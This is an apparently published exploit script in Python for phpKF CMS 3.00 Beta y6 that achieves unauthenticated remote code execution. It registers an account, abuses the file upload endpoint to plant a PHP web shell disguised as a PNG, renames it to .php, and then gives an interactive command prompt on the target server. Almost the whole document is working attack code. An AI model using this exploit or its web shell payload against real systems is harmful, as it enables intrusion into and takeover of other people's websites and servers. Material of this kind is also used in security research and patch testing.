# Exploit Title: phpKF CMS 3.00 Beta y6 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 18/12/2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://www.phpkf.com/
# Software Link: https://www.phpkf.com/indirme.php
# Version: 3.00
# Category: Webapps
# Tested on: Linux/Windows

# phpKF-CMS; It is a very popular content management system for promotion, news, shopping, corporate, friends, blogs and more.
# Contains an endpoint that allows remote access
# Necessary checks are not made in the file upload mechanism, only the file extension is checked
# The file with the extension ".png" can be uploaded and the extension can be changed.


# Example: python3 exploit.py -u http://example.com
#       python3 exploit.py -u http://example.com -l admin -p Admin123


from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse
import json

def main():
  parser = argparse.ArgumentParser(description='phpKF-CMS 3.00 Beta y6 - Remote Code Execution (Unauthenticated)')
  parser.add_argument('-u', '--host', type=str, required=True)
  parser.add_argument('-l', '--login', type=str, required=False)
  parser.add_argument('-p', '--password', type=str, required=False)
  args = parser.parse_args()
  print("\nphpKF-CMS 3.00 Beta y6 - Remote Code Execution (Unauthenticated)",
      "\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
  host(args)


def host(args):
  #Check http or https
  if args.host.startswith(('http://', 'https://')):
    print("[?] Check Url...\n")
    sleep(2)
    args.host = args.host
    if args.host.endswith('/'):
      args.host = args.host[:-1]
    else:
      pass
  else:
    print("\n[?] Check Adress...\n")
    sleep(2)
    args.host = "http://" + args.host
    args.host = args.host
    if args.host.endswith('/'):
      args.host = args.host[:-1]
    else:
      pass


  # Check Host Status
  try:
    response = requests.get(args.host)
    if response.status_code == 200:
      if args.login == None and args.password == None:
        create_user(args)
      else:
        login_user(args)
    else:
      print("[-] Address not reachable!")
      sleep(2)

  except requests.ConnectionError as exception:
    print("[-] Address not reachable!")
    sleep(2)
    exit(1)


def create_user(args):
  print("[*] Create User!\n")
  sleep(2)
  url = args.host + "/phpkf-bilesenler/kayit_yap.php"
  headers = {
      "Origin": args.host,
      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
      "Referer": "http://fuzzing.com/uye-kayit.php",
      "Accept-Encoding": "gzip, deflate"
  }
  data = {
      "kayit_yapildi_mi": "form_dolu",
      "oturum": '', "kullanici_adi": "evil",
      "sifre": "Evil123",
      "sifre2": "Evil123",
      "posta": "evil@localhost.com",
      "kosul": "on"
  }
  response = requests.post(url, headers=headers, data=data, allow_redirects=True)
  args.login = ("evil")
  args.password = ("Evil123")
  print("[+] " + args.login + ":" + args.password + "\n")
  sleep(2)
  login_user(args)



def login_user(args):
  url = args.host + "/uye-giris.php"
  headers = {
      "Origin": args.host,
      "Content-Type": "application/x-www-form-urlencoded",
      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
      "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
      "Referer": args.host + "/uye-giris.php",
      "Accept-Encoding": "gzip, deflate"
  }
  data = {
      "kayit_yapildi_mi": "form_dolu",
      "git": args.host + "/index.php",
      "kullanici_adi": args.login,
      "sifre": args.password,
      "hatirla": "on"
  }
  response = requests.post(url, headers=headers, data=data, allow_redirects=False)
  token = response.cookies.get("kullanici_kimlik")
  if (token != None):
    print("[!] Login Success!\n")
    sleep(2)
    upload_evil(args, token)
  else:
    if args.login == "evil" and args.password == "Evil123":
      print("[!] Unauthorized user!\n")
      print("[!] manually add a user and try again\n")
      print("[!] Go to link " + args.host + "/uye-kayit.php\n")
      print("python3 exploit.py -u '"+ args.host +"' -l 'attacker' -p 'p@ssW0rd'")
      sleep(2)
    else:
      print("[!] Unauthorized user!\n")
      sleep(2)


def upload_evil(args, token):
  url = args.host + "/phpkf-bilesenler/yukleme/index.php"
  cookies = {
      "kullanici_kimlik": token,
      "dil": "en"
  }
  headers = {
      "VERICEK": "",
      "DOSYA-ADI": "evil.png",
      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
      "Content-type": "application/x-www-form-urlencoded; charset=utf-8",
      "Accept": "*/*",
      "Origin": args.host,
      "Referer": args.host + "/oi_yaz.php",
      "Accept-Encoding": "gzip, deflate"
  }
  data = "<?php if(isset($_GET['cmd'])){ $cmd = ($_GET['cmd']); system($cmd); die; } ?>"
  response = requests.post(url, headers=headers, cookies=cookies, data=data)

  if (response.text == "yuklendi"):
    print("[!] Upload Success!\n")
    sleep(2)
    change_name(args, token)
  else:
    print("[!] Upload Failed!\n")
    sleep(2)


def change_name(args, token):
  url = args.host + "/phpkf-bilesenler/yukleme/index.php"
  cookies = {
      "kullanici_kimlik": token,
      "dil": "en"
  }
  headers = {
      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
      "Content-type": "application/x-www-form-urlencoded; charset=UTF-8",
      "Accept": "*/*",
      "Origin": args.host,
      "Referer": args.host + "/oi_yaz.php",
      "Accept-Encoding": "gzip, deflate"
  }
  data = {
      "yenidenadlandir": "evil.png|evil.php",
      "vericek": "/"
  }
  response = requests.post(url, headers=headers, cookies=cookies, data=data)
  if (response.text == "Name successfully changed..."):
    print("[!] Change Name evil.php!\n")
    sleep(2)
    find_dict(args, token)
  else:
    print("[!] Change Failed!\n")
    sleep(2)

def find_dict(args, token):
  url = args.host + "/phpkf-bilesenler/yukleme/index.php"
  cookies = {
      "kullanici_kimlik": token,
      "dil": "en"
  }
  headers = {
      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
      "Content-type": "application/x-www-form-urlencoded; charset=UTF-8",
      "Accept": "*/*",
      "Origin": args.host,
      "Referer": args.host + "/oi_yaz.php",
      "Accept-Encoding": "gzip, deflate"
  }
  data = {
      "vericek": "/",
      "dds": "0"
  }
  response = requests.post(url, headers=headers, cookies=cookies, data=data)
  if (response.text == "You can not upload files!"):
    print("[!] File not found!\n")
    sleep(2)
  else:
    print("[!] Find Vuln File!\n")
    sleep(2)
    soup = BeautifulSoup(response.text, 'html.parser')
    path = soup.find("div").contents[1].replace(" ", "")
    exploit(args, path)


def exploit(args, path):
  print("[+] Exploit Done!\n")
  sleep(2)

  while True:
    cmd = input("$ ")
    url = args.host + path + "evil.php?cmd=" + cmd
    headers = {
      "Upgrade-Insecure-Requests": "1",
      "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
    }

    response = requests.post(url, headers=headers, timeout=5)

    if response.text == "":
      print(cmd + ": command not found\n")
    else:
      print(response.text)


if __name__ == '__main__':
  main()